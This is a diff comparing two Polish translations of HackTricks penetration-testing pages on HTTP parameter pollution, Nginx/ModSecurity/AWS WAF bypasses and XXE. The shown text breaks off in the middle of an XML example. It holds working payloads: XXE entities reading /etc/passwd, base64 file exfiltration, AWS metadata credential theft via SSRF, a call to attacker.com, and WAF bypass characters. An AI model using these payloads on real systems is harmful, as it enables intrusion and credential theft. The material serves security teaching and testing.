- **Wynik:** OTP, przeznaczone dla początkowego adresu e-mail, zostało wysłane na drugi adres e-mail określony w zmanipulowanym żądaniu. Ta luka umożliwiła nieautoryzowany dostęp poprzez obejście zamierzonego środka bezpieczeństwa.
|
- **Wynik:** OTP, przeznaczone dla początkowego adresu e-mail, zostało wysłane na drugi adres e-mail określony w zmanipulowanym żądaniu. Ta wada umożliwiła nieautoryzowany dostęp poprzez obejście zamierzonego środka bezpieczeństwa.
|
||||||
|
|
||||||
Ten scenariusz podkreśla istotny błąd w backendzie aplikacji, który przetwarzał pierwszy parametr `email` do generowania OTP, ale użył ostatniego do dostarczenia.
|
Ten scenariusz podkreśla istotny błąd w backendzie aplikacji, który przetwarzał pierwszy parametr `email` do generowania OTP, ale używał ostatniego do dostarczenia.
|
||||||
|
|
||||||
**Przypadek manipulacji klucza API:**
|
**Przypadek manipulacji klucza API:**
|
||||||
|
|
||||||
- **Scenariusz:** Aplikacja umożliwia użytkownikom aktualizację swojego klucza API za pomocą strony ustawień profilu.
|
- **Scenariusz:** Aplikacja pozwala użytkownikom aktualizować swój klucz API za pomocą strony ustawień profilu.
|
||||||
- **Wektor ataku:** Atakujący odkrywa, że dodając dodatkowy parametr `api_key` do żądania POST, może manipulować wynikiem funkcji aktualizacji klucza API.
|
- **Wektor ataku:** Atakujący odkrywa, że dodając dodatkowy parametr `api_key` do żądania POST, może manipulować wynikiem funkcji aktualizacji klucza API.
|
||||||
- **Technika:** Korzystając z narzędzia takiego jak Burp Suite, atakujący tworzy żądanie, które zawiera dwa parametry `api_key`: jeden legalny i jeden złośliwy. Serwer, przetwarzając tylko ostatnie wystąpienie, aktualizuje klucz API do wartości podanej przez atakującego.
|
- **Technika:** Korzystając z narzędzia takiego jak Burp Suite, atakujący tworzy żądanie, które zawiera dwa parametry `api_key`: jeden legalny i jeden złośliwy. Serwer, przetwarzając tylko ostatnie wystąpienie, aktualizuje klucz API do wartości podanej przez atakującego.
|
||||||
- **Wynik:** Atakujący uzyskuje kontrolę nad funkcjonalnością API ofiary, potencjalnie uzyskując dostęp lub modyfikując prywatne dane nieautoryzowane.
|
- **Wynik:** Atakujący uzyskuje kontrolę nad funkcjonalnością API ofiary, potencjalnie uzyskując dostęp lub modyfikując prywatne dane nieautoryzowane.
|
||||||
|
@ -64,20 +64,20 @@ Ten przykład dodatkowo podkreśla konieczność bezpiecznego przetwarzania para
|
||||||
Sposób obsługi duplikowanych parametrów HTTP różni się w zależności od technologii internetowych, wpływając na podatność na ataki HPP:
|
Sposób obsługi duplikowanych parametrów HTTP różni się w zależności od technologii internetowych, wpływając na podatność na ataki HPP:
|
||||||
|
|
||||||
- **Flask:** Przyjmuje wartość pierwszego parametru napotkanego, takiego jak `a=1` w ciągu zapytania `a=1&a=2`, priorytetyzując początkowe wystąpienie nad kolejnymi duplikatami.
|
- **Flask:** Przyjmuje wartość pierwszego parametru napotkanego, takiego jak `a=1` w ciągu zapytania `a=1&a=2`, priorytetyzując początkowe wystąpienie nad kolejnymi duplikatami.
|
||||||
- **PHP (na serwerze Apache HTTP):** W przeciwieństwie do tego, priorytetyzuje ostatnią wartość parametru, wybierając `a=2` w podanym przykładzie. To zachowanie może niechcący ułatwić eksploatację HPP, honorując zmanipulowany parametr atakującego ponad oryginalny.
|
- **PHP (na serwerze Apache HTTP):** W przeciwieństwie do tego, priorytetyzuje wartość ostatniego parametru, wybierając `a=2` w podanym przykładzie. To zachowanie może niechcący ułatwić eksploatację HPP, honorując zmanipulowany parametr atakującego ponad oryginalny.
|
||||||
|
|
||||||
## Odnośniki
|
## Odnośniki
|
||||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
@ -85,6 +85,6 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass Ochrony Proxy / WAF
|
# Bypass zabezpieczeń Proxy / WAF
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -7,18 +7,18 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Bypass Reguł ACL Nginx za pomocą Manipulacji Ścieżką <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
## Bypass reguł ACL Nginx za pomocą manipulacji ścieżką <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||||
|
|
||||||
Techniki [z tej publikacji](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
Techniki [z tej publikacji](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||||
|
|
||||||
|
@ -32,11 +32,9 @@ location = /admin/ {
|
||||||
deny all;
|
deny all;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Aby zapobiec bypassom, Nginx wykonuje normalizację ścieżki przed jej sprawdzeniem. Jednakże, jeśli serwer backendowy wykonuje inną normalizację (usuwanie znaków, których Nginx nie usuwa), może być możliwe obejście tej obrony.
|
|
||||||
|
|
||||||
### **NodeJS - Express**
|
### **NodeJS - Express**
|
||||||
|
|
||||||
| Wersja Nginx | **Znaki do obejścia w Node.js** |
|
| Wersja Nginx | **Znaki Bypass Node.js** |
|
||||||
| ------------- | ----------------------------- |
|
| ------------- | ----------------------------- |
|
||||||
| 1.22.0 | `\xA0` |
|
| 1.22.0 | `\xA0` |
|
||||||
| 1.21.6 | `\xA0` |
|
| 1.21.6 | `\xA0` |
|
||||||
|
@ -46,7 +44,7 @@ Aby zapobiec bypassom, Nginx wykonuje normalizację ścieżki przed jej sprawdze
|
||||||
|
|
||||||
### **Flask**
|
### **Flask**
|
||||||
|
|
||||||
| Wersja Nginx | **Znaki do obejścia w Flask** |
|
| Wersja Nginx | **Znaki Bypass Flask** |
|
||||||
| ------------- | -------------------------------------------------------------- |
|
| ------------- | -------------------------------------------------------------- |
|
||||||
| 1.22.0 | `\x85`, `\xA0` |
|
| 1.22.0 | `\x85`, `\xA0` |
|
||||||
| 1.21.6 | `\x85`, `\xA0` |
|
| 1.21.6 | `\x85`, `\xA0` |
|
||||||
|
@ -56,7 +54,7 @@ Aby zapobiec bypassom, Nginx wykonuje normalizację ścieżki przed jej sprawdze
|
||||||
|
|
||||||
### **Spring Boot**
|
### **Spring Boot**
|
||||||
|
|
||||||
| Wersja Nginx | **Znaki do obejścia w Spring Boot** |
|
| Wersja Nginx | **Znaki Bypass Spring Boot** |
|
||||||
| ------------- | --------------------------------- |
|
| ------------- | --------------------------------- |
|
||||||
| 1.22.0 | `;` |
|
| 1.22.0 | `;` |
|
||||||
| 1.21.6 | `;` |
|
| 1.21.6 | `;` |
|
||||||
|
@ -77,7 +75,7 @@ include snippets/fastcgi-php.conf;
|
||||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Nginx jest skonfigurowany tak, aby blokować dostęp do `/admin.php`, ale można to ominąć, uzyskując dostęp do `/admin.php/index.php`.
|
Nginx jest skonfigurowany tak, aby blokować dostęp do `/admin.php`, ale można to obejść, uzyskując dostęp do `/admin.php/index.php`.
|
||||||
|
|
||||||
### Jak zapobiec
|
### Jak zapobiec
|
||||||
```plaintext
|
```plaintext
|
||||||
|
@ -85,12 +83,12 @@ location ~* ^/admin {
|
||||||
deny all;
|
deny all;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## Ominięcie Reguł Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
## Ominięcie reguł Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||||
|
|
||||||
### Zagubienie Ścieżki
|
### Zagubienie ścieżki
|
||||||
|
|
||||||
[W tym poście](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) **nieprawidłowo zaimplementował zmienną `REQUEST_FILENAME`**, która miała zawierać ścieżkę dostępu (do początku parametrów). Spowodowane to było dekodowaniem adresu URL w celu uzyskania ścieżki.\
|
[W tym poście](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wyjaśniono, że ModSecurity v3 (do wersji 3.0.12) **nieprawidłowo zaimplementował zmienną `REQUEST_FILENAME`**, która miała zawierać ścieżkę dostępu (do początku parametrów). Spowodowane to było dekodowaniem adresu URL w celu uzyskania ścieżki.\
|
||||||
Dlatego też, żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod security będzie zakładać, że ścieżką jest tylko `/foo`, ponieważ `%3f` jest zamieniane na `?` kończąc ścieżkę URL, ale w rzeczywistości ścieżką, którą otrzyma serwer, będzie `/foo%3f';alert(1);foo=`.
|
Dlatego też, żądanie takie jak `http://example.com/foo%3f';alert(1);foo=` w mod security będzie zakładać, że ścieżką jest tylko `/foo`, ponieważ `%3f` jest zamieniane na `?` kończąc ścieżkę URL, ale faktyczna ścieżka, którą otrzyma serwer, będzie `/foo%3f';alert(1);foo=`.
|
||||||
|
|
||||||
Zmienne `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym błędem.
|
Zmienne `REQUEST_BASENAME` i `PATH_INFO` również były dotknięte tym błędem.
|
||||||
|
|
||||||
|
@ -113,13 +111,13 @@ Connection: close\r\n
|
||||||
```
|
```
|
||||||
Było możliwe obejście AWS WAF, ponieważ nie rozumiał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS tak (to zostało naprawione).
|
Było możliwe obejście AWS WAF, ponieważ nie rozumiał, że następna linia jest częścią wartości nagłówka, podczas gdy serwer NODEJS tak (to zostało naprawione).
|
||||||
|
|
||||||
## Referencje
|
## Odnośniki
|
||||||
|
|
||||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -133,6 +131,6 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,20 @@
|
||||||
# XXE - XEE - Zewnętrzne Encje XML
|
# XXE - XEE - XML External Entity
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -22,21 +22,21 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
XML to język znaczników zaprojektowany do przechowywania i transportu danych, cechujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych tagów. Różni się od HTML-a tym, że nie jest ograniczony do zestawu predefiniowanych tagów. Znaczenie XML-a zmalało wraz z rozwojem JSON-a, pomimo początkowej roli w technologii AJAX.
|
XML to język znaczników zaprojektowany do przechowywania i transportu danych, cechujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych tagów. Różni się od HTML-a tym, że nie jest ograniczony do zestawu predefiniowanych tagów. Znaczenie XML-a zmalało wraz z rozwojem JSON-a, pomimo początkowej roli w technologii AJAX.
|
||||||
|
|
||||||
* **Reprezentacja danych za pomocą Encji**: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych takich jak `<` i `>`, które odpowiadają `<` i `>`, aby uniknąć konfliktu z systemem tagów XML-a.
|
* **Reprezentacja danych za pomocą jednostek**: Jednostki w XML umożliwiają reprezentację danych, w tym znaków specjalnych takich jak `<` i `>`, które odpowiadają `<` i `>`, aby uniknąć konfliktu z systemem tagów XML-a.
|
||||||
* **Definiowanie Elementów XML**: XML pozwala na określenie typów elementów, określając, jak powinny być zbudowane elementy i jaką zawartość mogą zawierać, począwszy od dowolnego rodzaju zawartości po konkretne elementy podrzędne.
|
* **Definiowanie elementów XML**: XML pozwala na określenie typów elementów, określając, jak powinny być zbudowane elementy i jaką zawartość mogą zawierać, począwszy od dowolnego rodzaju zawartości po konkretne elementy podrzędne.
|
||||||
* **Definicja Typu Dokumentu (DTD)**: DTD są kluczowe w XML do określania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, kierując formatowaniem i walidacją dokumentów.
|
* **Definicja typu dokumentu (DTD)**: DTD są kluczowe w XML do określania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, kierując formatowaniem i walidacją dokumentów.
|
||||||
* **Encje Niestandardowe i Zewnętrzne**: XML obsługuje tworzenie niestandardowych encji w DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki analizatory XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
* **Jednostki niestandardowe i zewnętrzne**: XML obsługuje tworzenie niestandardowych jednostek w DTD do elastycznej reprezentacji danych. Jednostki zewnętrzne, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków zewnętrznych jednostek XML (XXE), które wykorzystują sposób, w jaki analizatory XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||||
* **Wykrywanie XXE za pomocą Encji Parametrowych**: Dla wykrywania podatności na XXE, zwłaszcza gdy metody konwencjonalne zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać encje parametrowe XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
|
* **Wykrywanie XXE za pomocą jednostek parametrowych**: Dla wykrywania podatności na XXE, zwłaszcza gdy konwencjonalne metody zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać jednostki parametrowe XML. Pozwalają one na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
|
||||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||||
|
|
||||||
## Główne ataki
|
## Główne ataki
|
||||||
|
|
||||||
[**Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
[**Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE firmy Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||||
|
|
||||||
### Nowy test Encji
|
### Nowe testowanie jednostki
|
||||||
|
|
||||||
W tym ataku sprawdzę, czy prosta deklaracja nowej ENCJI działa.
|
W tym ataku sprawdzę, czy prosta deklaracja nowej JEDNOSTKI działa
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||||
|
@ -45,7 +45,9 @@ W tym ataku sprawdzę, czy prosta deklaracja nowej ENCJI działa.
|
||||||
<storeId>1</storeId>
|
<storeId>1</storeId>
|
||||||
</stockCheck>
|
</stockCheck>
|
||||||
```
|
```
|
||||||
### Odczytaj plik
|
![](<../.gitbook/assets/image (867).png>)
|
||||||
|
|
||||||
|
### Odczyt pliku
|
||||||
|
|
||||||
Spróbujmy odczytać `/etc/passwd` w różny sposób. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
|
Spróbujmy odczytać `/etc/passwd` w różny sposób. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
|
||||||
|
|
||||||
|
@ -55,7 +57,7 @@ W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" ró
|
||||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||||
<data>&example;</data>
|
<data>&example;</data>
|
||||||
```
|
```
|
||||||
To drugi przypadek może być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers)
|
To drugi przypadek powinien być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers)
|
||||||
```xml
|
```xml
|
||||||
<!--?xml version="1.0" ?-->
|
<!--?xml version="1.0" ?-->
|
||||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||||
|
@ -73,6 +75,8 @@ W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako AN
|
||||||
<storeId>1</storeId>
|
<storeId>1</storeId>
|
||||||
</stockCheck3>
|
</stockCheck3>
|
||||||
```
|
```
|
||||||
|
![](<../.gitbook/assets/image (750).png>)
|
||||||
|
|
||||||
### Lista katalogów
|
### Lista katalogów
|
||||||
|
|
||||||
W aplikacjach opartych na **Java** może być możliwe **wyświetlenie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (tylko pytanie o katalog zamiast pliku):
|
W aplikacjach opartych na **Java** może być możliwe **wyświetlenie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (tylko pytanie o katalog zamiast pliku):
|
||||||
|
@ -91,19 +95,19 @@ XXE może być wykorzystane do nadużycia SSRF w chmurze
|
||||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||||
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### Blind SSRF
|
### Ślepy SSRF
|
||||||
|
|
||||||
Korzystając z **wcześniej skomentowanej techniki** możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać jego podatność. Ale jeśli to nie działa, być może dlatego, że **encje XML nie są dozwolone**, w takim przypadku możesz spróbować użyć **parametrów encji XML**:
|
Korzystając z **wcześniej skomentowanej techniki** możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać jego podatność. Jeśli jednak to nie działa, być może dlatego, że **encje XML nie są dozwolone**, w takim przypadku można spróbować użyć **parametrów encji XML**:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
